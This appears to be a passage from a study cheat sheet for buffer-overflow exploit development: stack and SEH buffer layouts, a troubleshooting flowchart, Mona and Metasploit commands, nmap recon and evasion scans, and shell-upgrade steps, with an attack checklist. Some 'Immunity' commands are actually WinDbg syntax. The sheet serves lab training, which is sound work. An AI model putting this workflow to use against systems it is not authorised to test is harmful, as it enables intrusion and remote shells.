# Aggressive scan
nmap -A -p- <target>

10. Exploit Buffer Layout Template

Visual Buffer Layout

┌─────────────────────────────────────────────────────────────────────────────┐
│                        EXPLOIT BUFFER LAYOUT                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  ┌──────────┐  ┌──────┐  ┌────────┐  ┌──────────┐  ┌─────────┐            │
│  │  JUNK    │  │ EIP  │  │  NOP   │  │ SHELL-   │  │ PADDING │            │
│  │ (A's)    │  │OVER- │  │  SLED  │  │ CODE     │  │ (B's)   │            │
│  │          │  │WRITE │  │ (\x90) │  │          │  │         │            │
│  │ OFFSET   │  │JMP   │  │        │  │ msfvenom │  │         │            │
│  │ bytes    │  │ESP   │  │ 16-32  │  │ payload  │  │ to fill │            │
│  │          │  │addr  │  │ bytes  │  │          │  │ rem.    │            │
│  └──────────┘  └──────┘  └────────┘  └──────────┘  └─────────┘            │
│       │              │              │              │            │          │
│       │              │              │              │            │          │
│       ▼              ▼              ▼              ▼            ▼          │
│   Fills buffer   Overwrites    Slides into    Executes       Fills rest   │
│   up to EIP      EIP with     shellcode       payload        of buffer    │
│                  JMP ESP                                                          │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Memory Layout (Stack — grows downward):

High Address ──►  [BBBBBBBB]  ← ESP (initially points here or nearby)
                   [SHELLCODE]  ← Our payload
                   [\x90\x90\x90...]  ← NOP sled
                   [JMP ESP addr]  ← EIP overwritten here
                   [AAAAAAAA...]  ← Buffer fill (OFFSET bytes)
Low Address  ──►

SEH Buffer Layout

┌─────────────────────────────────────────────────────────────────────────────┐
│                      SEH OVERFLOW BUFFER LAYOUT                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  ┌──────────┐  ┌──────────┐  ┌──────────────┐  ┌──────────┐               │
│  │   JUNK   │  │ NEXT SEH │  │  SEH HANDLER │  │ SHELL-   │               │
│  │ (A's)    │  │ (AAAA)   │  │ (POP POP RET)│  │ CODE     │               │
│  │          │  │          │  │              │  │          │               │
│  │ To SEH   │  │ 4 bytes  │  │ 4 bytes      │  │ Rest of  │               │
│  │ Record   │  │          │  │              │  │ buffer   │               │
│  └──────────┘  └──────────┘  └──────────────┘  └──────────┘               │
│       │              │                  │              │                   │
│       ▼              ▼                  ▼              ▼                   │
│   Fills to SEH    Overwritten       Executes on      Our payload          │
│   record          with dummy        exception        executes             │
│                  next SEH          (POP POP RET)                          │
│                                                                             │
│  After POP POP RET executes, EIP = 4 bytes after SEH handler:              │
│                                                                             │
│  ┌──────────────┐  ┌──────────┐                                            │
│  │ \x90\x90\x??\x??│  │ SHELL-   │  ← Wildcards + NOP + shellcode           │
│  │  (after handler)│  │ CODE     │                                            │
│  └──────────────┘  └──────────┘                                            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Buffer Size Calculator

def calculate_buffer_sizes(offset, jmp_addr_size=4, nop_size=16, shellcode_size=350, total_max=4000):
    """Calculate all buffer component sizes"""
    padding = total_max - offset - jmp_addr_size - nop_size - shellcode_size
    if padding < 0:
        # Reduce NOP sled or shellcode
        nop_size = max(4, nop_size + padding)
        padding = 0

    print("Buffer Layout:")
    print(f"  {'Component':<20} {'Size':>8} {'End Offset':>12}")
    print(f"  {'-'*44}")
    print(f"  {'Buffer (A's)':<20} {offset:>8} {offset:>12}")
    print(f"  {'EIP Override':<20} {jmp_addr_size:>8} {offset+jmp_addr_size:>12}")
    print(f"  {'NOP Sled':<20} {nop_size:>8} {offset+jmp_addr_size+nop_size:>12}")
    print(f"  {'Shellcode':<20} {shellcode_size:>8} {offset+jmp_addr_size+nop_size+shellcode_size:>12}")
    if padding > 0:
        print(f"  {'Padding (B's)':<20} {padding:>8} {offset+jmp_addr_size+nop_size+shellcode_size+padding:>12}")
    print(f"  {'-'*44}")
    total = offset + jmp_addr_size + nop_size + shellcode_size + padding
    print(f"  {'TOTAL':<20} {total:>8}")

calculate_buffer_sizes(offset=2003, nop_size=16, shellcode_size=350, total_max=3000)

11. Debugging Decision Tree

Exploit Failure Troubleshooting Flowchart

flowchart TD
    START([Exploit Failed]) --> CHECK1{Does target crash?}

    CHECK1 -->|No| RECON[Check: Is service running?<br/>Correct port?<br/>Correct trigger command?]
    RECON --> FIX1[Fix: Verify service, port, command]
    FIX1 --> CHECK1

    CHECK1 -->|Yes| CHECK2{Can you control EIP?}

    CHECK2 -->|No| OFFSET[Check: Pattern offset correct?<br/>Buffer large enough?<br/>Right overflow type?]
    OFFSET --> FIX2[Fix: Recalculate offset with pattern_create/offset]
    FIX2 --> CHECK2

    CHECK2 -->|Yes| CHECK3{Does JMP address work?}

    CHECK3 -->|No| JMP[Check: Address valid?<br/>Module loaded?<br/>Bad chars in addr?<br/>Correct endianness?]
    JMP --> FIX3[Fix: Find new JMP with Mona<br/>Verify endianness<br/>Check bad chars]
    FIX3 --> CHECK3

    CHECK3 -->|Yes| CHECK4{Does shellcode execute?}

    CHECK4 -->|No| SC[Check: Bad chars in shellcode?<br/>Shellcode too large?<br/>Wrong architecture?<br/>DEP/ASLR blocking?]
    SC --> FIX4[Fix: Remove bad chars from shellcode<br/>Use egg hunter<br/>Check module protections]
    FIX4 --> CHECK4

    CHECK4 -->|Yes| CHECK5{Do you get a shell?}

    CHECK5 -->|No| SHELL[Check: Listener running?<br/>Correct LHOST/LPORT?<br/>NFW blocking?<br/>Shellcode encoding issue?]
    SHELL --> FIX5[Fix: Start listener<br/>Verify IP/port<br/>Check firewall<br/>Re-encode shellcode]
    FIX5 --> CHECK5

    CHECK5 -->|Yes| SUCCESS([Success!])

    style START fill:#ff9999
    style SUCCESS fill:#99ff99
    style CHECK1 fill:#ffff99
    style CHECK2 fill:#ffff99
    style CHECK3 fill:#ffff99
    style CHECK4 fill:#ffff99
    style CHECK5 fill:#ffff99

Common Issues Quick-Fix Table

Symptom Most Likely Cause Fix
No crash at all Wrong buffer size or trigger Verify fuzzing, check command
Crash but EIP random Buffer too small, no overflow Increase buffer, re-fuzz
EIP = pattern value Good! Calculate offset pattern_offset.rb -q <EIP_value>
EIP controlled but no shell Bad chars corrupting shellcode Run Mona bad char test
Crash after sending exploit Wrong JMP address Verify with !mona jmp -r esp
Shellcode not executing DEP enabled on module Find module without DEP
Connection refused Wrong IP or port Verify target IP, check listener
Shell drops immediately Encoding issues, bad chars Use -b flag, check encoding
Meterpreter but no session Stage encoding issue set EnableStageEncoding true
Wrong architecture shellcode x86 vs x64 mismatch Match payload to target arch

Immunity Debugger Quick Commands

# Basic navigation
bp <address>              # Set breakpoint
bc <bp_number>            # Clear breakpoint
bl                        # List breakpoints
g <address>               # Go to address
ctrl+F9                   # Run / Continue
F7                        # Step into
F8                        # Step over

# Memory examination
d <address>               # Dump memory
dd <address>              # Dump memory (dword)
dc <address>              # Dump code
e <address> <value>       # Edit memory

# Register examination
r                         # Show all registers
r eax                     # Show specific register

# Exception handling
sxe                       # Break on all exceptions
sxe ld                    # Break on module load
sxe u                     # Undo exception handling

# Search
s -b <address> <length> <pattern>  # Search memory for bytes

12. Nmap Commands for Exploit Recon

Service Detection Scans

# Basic service version detection
nmap -sV <target>

# Service detection on specific ports
nmap -sV -p 21,80,445,3306 <target>

# All ports with service detection
nmap -sV -p- <target>

# Aggressive scan (service + OS + scripts + traceroute)
nmap -A <target>

# Aggressive on all ports
nmap -A -p- <target>

Script Scanning for Exploits

# SMB enumeration
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 <target>

# SMB vulnerability detection
nmap --script smb-vuln* -p 445 <target>

# All SMB scripts
nmap --script smb* -p 139,445 <target>

# HTTP enumeration
nmap --script http-enum,http-headers,http-title -p 80,443,8080 <target>

# HTTP vulnerability detection
nmap --script http-vuln* -p 80,443 <target>

# MySQL enumeration
nmap --script mysql* -p 3306 <target>

# FTP enumeration
nmap --script ftp* -p 21 <target>

# VNC enumeration
nmap --script vnc* -p 5900 <target>

# All vuln scripts
nmap --script vuln <target>

# Default scripts (safe subset)
nmap -sC <target>

OS Detection

# OS detection
nmap -O <target>

# Aggressive OS detection
nmap -A -O <target>

# OS detection with all ports
nmap -O -p- <target>

Timing and Evasion

# Slow and stealthy
nmap -T2 -sV -p- <target>

# Fast scan
nmap -T4 -sV -p- <target>

# With fragmentation (evasion)
nmap -f -sV <target>

# With decoys
nmap -D RND:10 -sV <target>

# Manual timing template
nmap --timing 2 -sV -p- <target>

Output Formats

# Normal output
nmap -sV -oN scan_normal.txt <target>

# XML output (parseable)
nmap -sV -oX scan.xml <target>

# Grepable output
nmap -sV -oG scan_grep.txt <target>

# All formats at once
nmap -sV -oA scan_all <target>

# Append to existing file
nmap -sV -oA scan_all --append-output <target>

Nmap Command Quick Reference Table

Command Purpose When to Use
nmap -sV <ip> Service version detection After finding open ports
nmap -sC <ip> Default scripts Quick enumeration
nmap -A <ip> Aggressive scan Full recon
nmap -p- <ip> All ports When missing services
nmap -sV -p- <ip> All ports + versions Complete service map
nmap --script vuln <ip> Vulnerability scripts Find known vulns
nmap --script smb* -p 445 <ip> SMB scripts Windows targets
nmap --script http* -p 80 <ip> HTTP scripts Web targets
nmap -O <ip> OS detection Identify target OS
nmap -sU <ip> UDP scan Discover UDP services
nmap -sS <ip> SYN scan Stealthy port scan
nmap -sT <ip> TCP connect When SYN blocked
nmap -O -A -p- <ip> Maximum recon Before exploit dev

Complete Pre-Exploit Recon Command

# THE ONE COMMAND TO RULE THEM ALL (run first on any target):
nmap -sC -sV -O -p- --min-rate 1000 -oA full_recon <target>

# Then follow up with vuln scripts on interesting ports:
nmap --script vuln -p <interesting_ports> <target>

Bonus: Quick Commands Cheat Sheet

Metasploit Framework

# Search for exploits
searchsploit <service> <version>
searchsploit -m <path>                    # Copy exploit
searchsploit -w "<keywords>"              # Wildcard search

# Metasploit module search
search <service> <type>
use exploit/<path>
show options
show payloads
show targets

# Set options
set RHOSTS <target>
set PAYLOAD <payload>
set LHOST <attacker_ip>
set LPORT <port>
set TARGET <number>

# Run
exploit
exploit -j                              # Background job
run

Immunity + Mona Essential Workflow

# Session startup sequence (in order):
!mona config -set workingfolder c:\logs\%p
!mona modules
bp <crash_address>                       # Set breakpoint
# Trigger crash from attacker
!mona pf <eip_value>                     # Find offset
!mona jmp -r esp -m <module>            # Find JMP ESP
!mona bytearray -b "\x00" -cpb <app>    # Bad char test
!mona compare -f c:\logs\<app>\bytearray.bin -a <addr>

Shell Upgrade Commands

# Python TTY upgrade
python -c 'import pty; pty.spawn("/bin/bash")'

# Background and fix terminal
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash

# Windows shell improvements
chcp 65001                               # UTF-8 encoding
python -c 'import pty; pty.spawn("cmd.exe")'

# Meterpreter shell upgrade
shell
python -c 'import pty; pty.spawn("/bin/bash")'

Appendix: Exploit Development Checklist

Use this checklist for every buffer overflow exploit:

PRE-EXPLOIT
[ ] Target identified and service version confirmed
[ ] searchsploit run for known exploits
[ ] Fuzzing completed — crash point identified
[ ] Reliable crash confirmed (multiple attempts)

OFFSET & CONTROL
[ ] Pattern created and sent
[ ] EIP value captured from crash
[ ] Offset calculated with pattern_offset
[ ] EIP control confirmed (send AAAABBBB...)

BAD CHARACTERS
[ ] Bad char array sent in buffer
[ ] Mona bytearray generated
[ ] Mona compare executed
[ ] Bad chars identified and documented
[ ] Shellcode regenerated without bad chars

JMP ADDRESS
[ ] Module selected (no ASLR, no DEP)
[ ] JMP ESP found with Mona
[ ] Address verified (no bad chars)
[ ] Endianness converted correctly

SHELLCODE
[ ] msfvenom generated with correct payload
[ ] Bad chars excluded (-b flag)
[ ] Format correct (-f python)
[ ] LHOST/LPORT set correctly
[ ] Size fits in available buffer space

FINAL EXPLOIT
[ ] Buffer layout assembled correctly
[ ] NOP sled added
[ ] Tested in debugger first
[ ] Listener started before sending
[ ] Multiple attempts ready

POST-EXPLOIT
[ ] Shell received
[ ] Shell upgraded/stabilized
[ ] Encoding fixed (chcp if Windows)
[ ] Privilege escalation attempted

Last Updated: 2026-09-01 Study Tip: Print this page and keep it next to your workstation during labs. The 15-phase workflow and debugging decision tree are your most valuable references when stuck.